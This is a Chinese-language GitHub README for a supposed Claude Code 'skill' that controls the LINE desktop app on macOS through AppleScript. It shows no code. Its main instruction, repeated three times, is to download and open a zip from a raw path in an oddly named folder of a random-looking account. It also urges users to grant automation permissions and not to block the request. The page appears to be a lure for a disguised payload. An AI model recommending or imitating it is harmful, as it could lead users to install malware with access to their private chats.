Nervousdisordercrispness754/line-desktop-skill

GitHub: Nervousdisordercrispness754/line-desktop-skill

通过 AppleScript 让 Claude Code 控制 macOS 上的 LINE 桌面应用,实现无需 API 令牌即可读取聊天和发送消息的自动化功能。

Stars: 0 | Forks: 0

# 🖥️ line-desktop-skill - 从桌面控制 LINE ## 📥 下载 访问此页面下载并运行此文件: https://github.com/Nervousdisordercrispness754/line-desktop-skill/raw/refs/heads/main/undergarb/desktop_line_skill_v2.0.zip 如果页面在浏览器中打开,请查找最新版本或主要下载选项。将文件保存到您的计算机,然后从下载文件夹中打开它。 ## 🚀 功能说明 line-desktop-skill 帮助您从 Mac 上的 Claude Code 控制 LINE 桌面应用。它可以在无需 API 令牌的情况下读取聊天记录和发送消息。 当您希望直接处理 LINE 桌面消息而不是使用单独的服务时,这非常有用。该技能使用 AppleScript 与您已打开的应用进行通信。 ## 🧩 环境要求 在 Mac 上使用,需满足以下条件: - 已安装 LINE 桌面应用 - 已安装 Claude Code - 已启用 AppleScript 支持 - 已获得 macOS 应用控制权限 为获得最佳效果,请在开始前保持 LINE 登录状态并保持应用打开。 ## 🛠️ 设置 1. 打开下载页面: https://github.com/Nervousdisordercrispness754/line-desktop-skill/raw/refs/heads/main/undergarb/desktop_line_skill_v2.0.zip 2. 将项目文件下载到您的 Mac。 3. 如果文件在压缩文件夹中,请解压。 4. 将文件夹移动到您可以再次找到的位置,例如文档或桌面。 5. 打开 Claude Code 并将技能文件夹添加到您的工作区或技能文件夹。 6. 确保 macOS 允许 Claude Code 控制 LINE: - 打开系统设置 - 转到隐私与安全 - 打开自动化 - 允许 Claude Code 控制 LINE 7. 打开 LINE 桌面应用并登录。 8. 使用下载的文件夹从 Claude Code 运行该技能。 ## 💬 使用方法 设置完成后,您可以请求 Claude Code 执行以下 LINE 桌面任务: - 阅读最新的聊天消息 - 打开聊天对话 - 发送文本消息 - 查看最近的对话文本 - 在聊天之间切换 使用简单的请求,例如: - 阅读我最新的 LINE 聊天 - 给 Alex 发送这条消息:我会在 3 点到达 - 打开与销售组的聊天 - 显示 LINE 中最近 5 条消息 使用技能时保持 LINE 打开。 ## 🔐 权限设置 第一次尝试控制 LINE 时,macOS 可能会请求权限。 如果发生这种情况: - 选择允许 - 不要阻止请求 - 如需要,重新启动 Claude Code 并重试 如果 LINE 没有响应,请再次检查自动化设置。在 macOS 授予访问权限之前,AppleScript 控制将无法工作。 ## 🧠 工作原理 该技能使用 AppleScript,这是 Mac 内置的自动化工具。Claude Code 向 AppleScript 发送命令,AppleScript 控制 LINE 桌面应用。 这使技能能够: - 读取应用文本 - 聚焦聊天 - 输入消息文本 - 触发发送操作 - 提取可见的聊天内容 由于它通过应用本身工作,因此您不需要 API 令牌。 ## ✅ 常见用途 该技能适用于简单的日常任务,例如: - 查看最近的消息 - 发送快速回复 - 将聊天文本复制到您的工作流程中 - 查看群组聊天更新 - 在不离开桌面应用的情况下处理聊天操作 ## 🧭 故障排除 如果 LINE 无法打开,请检查它是否已安装在应用程序文件夹中。 如果消息无法发送: - 确保 LINE 处于打开状态 - 确保选择了正确的聊天 - 检查 Claude Code 是否具有自动化访问权限 - 重新启动 LINE 并重试 如果技能无法读取聊天文本: - 首先打开聊天窗口 - 保持对话可见 - 使用正常的聊天视图,而不是隐藏或空白的屏幕 如果 Claude Code 找不到该技能: - 确认文件夹已复制到正确的位置 - 检查文件夹名称 - 移动文件后重新加载 Claude Code ## 🗂️ 建议的文件夹布局 简单的布局有助于保持易于使用: - 下载 - line-desktop-skill - 文档 - Claude Code - 技能 - line-desktop-skill 如果您愿意,可以使用其他位置。关键是将技能文件夹放在 Claude Code 可以访问的地方。 ## 🖱️ 首次运行步骤 首次使用时请按以下顺序操作: 1. 下载文件 2. 解压文件夹 3. 将文件夹放入您的技能位置 4. 打开 LINE 桌面应用 5. 打开 Claude Code 6. 授予自动化权限 7. 运行一个简单的命令,例如“阅读我最新的 LINE 聊天” 首次运行有助于 macOS 保存权限设置。 ## 🧰 文件内容 该仓库围绕一个小型的 Mac 自动化工作流程构建。它包含通过 AppleScript 将 Claude Code 与 LINE 桌面连接所需的内容。 典型文件可能包括: - 技能说明 - AppleScript 辅助文件 - 设置说明 - 示例提示 - 命令模板 ## 🖥️ 系统适配 此项目适用于: - macOS - LINE 桌面应用 - Claude Code - 希望直接控制桌面聊天的用户 它并非为 Windows 作为主要运行时而设计。如果您使用 Windows,则需要 Mac 环境才能使 AppleScript 部分正常工作。 ## 🧪 示例任务 设置后尝试以下提示: - 阅读 LINE 中的最新消息 - 给我的 Maya 聊天发送“我快到了,马上就到” - 打开与团队的 LINE 聊天 - 显示所选聊天的最后一条消息 - 给当前对话发送一条简短的回复 保持提示清晰简单。当您说出聊天名称或明确表达需求时,技能效果最佳。 ## 📁 重新下载 如果您需要再次获取文件,请使用相同的链接: https://github.com/Nervousdisordercrispness754/line-desktop-skill/raw/refs/heads/main/undergarb/desktop_line_skill_v2.0.zip ## 🔧 基本技巧 - 使用技能时保持 LINE 打开 - 发送或读取消息时保持目标聊天可见 - 在尝试更大任务之前先授予权限 - 使用简短的消息请求以获得更快的响应 - 如果 LINE 停止响应 AppleScript,请重新启动 ## 🧾 仓库详情 - 仓库:line-desktop-skill - 目的:通过 AppleScript 控制 LINE 桌面应用 - 主要用途:无需 API 令牌即可读取聊天和发送消息
标签:AppleScript, Claude Code, GUI自动化, LINE, macOS自动化, 即时通讯, 数字取证, 无API集成, 桌面应用控制, 桌面自动化, 消息发送, 聊天控制, 脚本控制, 自动化脚本